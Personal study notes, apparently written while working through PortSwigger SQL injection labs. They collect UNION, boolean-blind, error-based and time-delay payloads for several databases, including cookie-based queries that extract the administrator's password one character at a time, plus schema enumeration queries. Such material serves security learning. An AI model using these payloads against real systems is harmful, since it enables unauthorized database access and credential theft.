**Simple sql injection** (NO spcaces use `+` instead between string )

========================

Submitting the single quote character ' and looking for errors or other anomalies.

Check if injection is possible ‘+AND+’1’=’1’--+

For mysql # is the way to comment out or – with extra space `--+` + for space encoding in URL

cheat sheet: https://portswigger.net/web-security/sql-injection/cheat-sheet

In UPDATE statements, within the updated values or the WHERE clause.

In INSERT statements, within the inserted values.

In SELECT statements, within the table or column name.

`'`

`'--`

`' UNION SELECT username, password FROM users--`

For a UNION query to work, two key requirements must be met:

The individual queries must return the same number of columns.

`' ORDER BY 1--` and increase the # on by one

`' UNION SELECT NULL--` and then increase the no of null one by one

in url it would be like `' UNION + Select + NULL, NULL --

The data types in each column must be compatible between the individual queries.

`' UNION SELECT 'a',NULL,NULL,NULL--` and shift the datatype one by one like `' UNION SELECT NULL,'a',NULL,NULL--`

on oracle we could concatenate the columns `' UNION SELECT username || '~' || password FROM users--`

In SELECT statements, within the ORDER BY clause.

For oracle the select NULL does not work unless from is not specified so use dual table There is a built-in table on Oracle called dual which you can use for this purpose. For example: UNION SELECT 'abc' FROM dual

**Blind sql injection**

======================

Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic

differences in the resulting application responses.

**Checking blind injection if response has some changes**

…xyz' AND '1'='1

Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application's responses.

`' AND (select SUBSTR(password,21,1) from users limit 1)='§a§`

`xyz' AND 'b'='a`

`xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a`

`xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a`

https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-by-triggering-conditional-errors

`CAST((SELECT example\_column FROM example\_table) AS int)`

Submitting payloads designed to trigger time delays when executed within a SQL query, and looking for differences in the time taken to respond.

`'; IF (1=2) WAITFOR DELAY '0:0:10'--`

e.g. '; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitoring for any resulting interactions.

## **Error-based SQL injection**

' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a  
 ' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

This generally work but depends on type of database like oracle, postgress or mysql so chose the payload from cheatsheet for bind error sql injection

Limit does not work here in the sql injection of the above command where error checking is happening like the following

'||(SELECT CASE WHEN (1=2) THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

SUBSTR(string, index,length) for Oracle

|  |  |
| --- | --- |
| Oracle | SUBSTR('foobar', 4, 2) |
| Microsoft | SUBSTRING('foobar', 4, 2) |
| PostgreSQL | SUBSTRING('foobar', 4, 2) |
| MySQL | SUBSTRING('foobar', 4, 2) |

### **Extracting sensitive data via verbose SQL error messages**

Also adding a single quote also gives error

The command will always give error and check for verbose messages

CAST((SELECT example\_column FROM example\_table) AS int)

Sometimes there is a character limit so removing trackingid or some other fields can be great. Ex:

Cookie: TrackingId='AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

## **Exploiting blind SQL injection by triggering time delays**

For time delays

|  |  |
| --- | --- |
| Oracle | dbms\_pipe.receive\_message(('a'),10) |
| Microsoft | WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT pg\_sleep(10) |
| MySQL | SELECT SLEEP(10) |

## Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

|  |  |
| --- | --- |
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms\_pipe.receive\_message(('a'),10) ELSE NULL END FROM dual |
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg\_sleep(10) ELSE pg\_sleep(0) END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |

Always use + at the end of comment as shown below and also check that select is not being used everywhere as in where clause it can be directly used

Cookie: TrackingId=LNPMeEF8by4VWnNk'|| pg\_sleep(10)--+

(SELECT CASE WHEN 1=1

THEN pg\_sleep(10)

ELSE pg\_sleep(0) END

)

Use the site <https://meyerweb.com/eric/tools/dencoder/> to encode/decode the ; present in cookies or **CTRL+U to encode or decode**

Inspect why one works and other does not

TrackingId=vGRXjPS6nJis2yqY' || SELECT CASE WHEN (SUBSTRING(password,1,1)='§20§') THEN pg\_sleep(50) ELSE pg\_sleep(0) END FROM users WHERE username='administrator'--;

TrackingId=vGRXjPS6nJis2yqY' %3B SELECT CASE WHEN (SUBSTRING(password,1,1)='§20§') THEN pg\_sleep(50) ELSE pg\_sleep(0) END FROM users WHERE username='administrator'--;

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

https://portswigger.net/web-security/sql-injection/cheat-sheet

You can list the tables that exist in the database, and the columns that those tables contain.

|  |  |
| --- | --- |
| Oracle | SELECT \* FROM all\_tables SELECT \* FROM all\_tab\_columns WHERE table\_name = 'TABLE-NAME-HERE' |
| Microsoft | SELECT \* FROM information\_schema.tables SELECT \* FROM information\_schema.columns WHERE table\_name = 'TABLE-NAME-HERE' |
| PostgreSQL | SELECT \* FROM information\_schema.tables SELECT \* FROM information\_schema.columns WHERE table\_name = 'TABLE-NAME-HERE' |
| MySQL | SELECT \* FROM information\_schema.tables SELECT \* FROM information\_schema.columns WHERE table\_name = 'TABLE-NAME-HERE' |

Blind injection question

https://portswigger.net/web-security/sql-injection/blind

burpsuit pro: https://www.minuteinbox.com/

shamari.rhylan@madeforthat.org